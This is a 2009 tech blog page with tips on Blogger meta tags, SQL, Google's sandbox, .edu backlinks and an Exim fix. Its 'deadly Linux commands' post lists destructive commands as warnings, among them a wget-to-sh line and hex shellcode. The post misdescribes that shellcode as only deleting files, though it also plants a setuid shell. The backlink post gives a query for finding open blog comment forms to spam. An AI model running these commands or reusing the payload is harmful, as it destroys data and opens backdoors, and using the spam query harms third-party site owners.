    By admin on March 13th, 2009 | No Comments Comments

    1.Sign in to your blogger dashboard>click the ‘layout’ button

    2.Click on the ‘Edit html’ tab

    Here is the code you have to add

    <meta content=’DESCRIPTION HERE’ name=’description’/>
    <meta content=’KEYWORDS HERE’ name=’keywords’/>
    <meta content=’AUTHOR NAME HERE’ name=’author’/>

    DESCRIPTION HERE:Write your blog description
    KEYWORDS:Write the keywords of your blog
    AUTHOR NAME:Write the author’s name(Your name)

    3.Add the above code just after this

    <b:include data=’blog’ name=’all-head-content’/>

    Don’t forget to add description and keywords.
    and save the changes.

    IMPORTANT:

    Several people were filling with just the keywords in the description.DON’T DO THAT.Google and other search engines will ban your site from the search engines list if you did so.And also,don’t repeat the keyword more than 3 times.

    That’s it!You have sucessfully added the metatags to your blogger(blogpsot) blog.If you want to check whether you added the meta tags correctly or not,just type ‘meta tags analyzer tool’ in the google and you will find so many sites which can check whether you have added the tags correctly or not.

  • Copying a Table

    /*create a copy of a table so that you
    can alter it or experiment with it without endangering the original
    data
    */

    CREATE TABLE new_table_name
    SELECT * FROM old_table_name;

    /* Differences: their names,
    if the old table had an index (or key), it
    does not transfer to the new table.
    only two columns chosen
    */

  • Linux Deadly Command
    By vinod on March 3rd, 2009 | No Comments Comments

    1. Code:

    CODE
    rm -rf /

    This command will recursively and forcefully delete all the files inside the root directory.

    2. Code:

    CODE
    char esp[] __attribute__ ((section(“.text”))) /* e.s.p
    release */
    = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
    “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
    “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
    “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
    “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
    “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
    “\x6e\x2f\x73\x68\x00\x2d\x63\x00″
    “cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

    This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

    3. Code:

    CODE
    mkfs.ext3 /dev/sda

    This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

    4. Code:

    CODE
    :( ){:|:&};:

    Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

    5. Code:

    CODE
    any_command > /dev/sda


    With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

    6. Code:

    CODE
    wget http://some_untrusted_source -O- | sh

    Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

    7. Code:

    CODE
    mv /home/yourhomedirectory/* /dev/null

    This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files again.

    There are of course other equally deadly
    Linux commands
    that I fail to include here, so if you have something to add, please share it with us via comment.

  • Google Sandbox
    By vinod on February 27th, 2009 | No Comments Comments

    The Google sandbox is a concept that has been coined to describe the effect that new websites have in Google’s search results.

    New websites do not behave in the same way in Google’s search results as older, more established websites. It seems that Google is less inclined to rank newer websites until they have proven themselves and gone through a probationary period. This seems to be a period of 90 to 120 days.

    This is not to say that everything you do is pointless within this time, it just means that your efforts will probably be put on hold until this period has passed.

    The Google sandbox could be used by Google for many things other than just new websites. Google could also use this for websites that it believes are not playing fair or that have suddenly gained large numbers of inward links.

    If you have a new website you should make your changes and optimize your website gradually. This includes building links to your website. You should try to build links slowly over time instead of adding a hundred in one sitting. This sudden spike of inward links could cause you problems. It would look unnatural, as links are not normally achieved this fast.

    There are several ways you can deal with the Google sandbox and its effects. including:

    * Use an existing older domain name instead of buying a new one.
    * Build links slowly over time
    * Optimize your website slowly
    * In the early days, concentrate on other search engines
    * Utilize pay per click (PPC) for your initial placement

    The Google sandbox effect is not a recognized algorithm by Google, it is just a phrase to describe the effect often seen with new websites that have only recently been found by Google.

  • How to get backlinks from .edu sites ?
    By vinod on February 27th, 2009 | No Comments Comments

    Everyone wants to make Backlink

    Here we go: Just go to google search engine and enter the code below:

    site:.edu inurl:blog “comment” -”you must be logged in” -”posting closed” -”comment closed” “keyword”

    Where it says keyword put the keyword you want to search for to match your site.

    Now to break this down a bit it will sort through all the .edu blogs and only pull ones that allow a comment and match your keyword. As you see we had it take out the blogs that were closed for comments, ones that required you log in, and posting closed.

    There you have it, now get to work and start getting some quality .edu backlinks.

    Hope you all like this post :)

    A restart was attempted automagically.
    Service Check Method: [check command]

    Cmd Service Check Raw Output: Exim is not running

    This is a bug in Exim
    here are the steps how i fix this problem

    Hello friends
    you can doit by SSH
    I first ran:

    /scripts/eximup –force –source

    I then removed the old exim RPM, which was preventing the correct one from

    being updated.

    I then ran:

    /scripts/eximup –force

    Exim is now up well.

    Thank you. :D
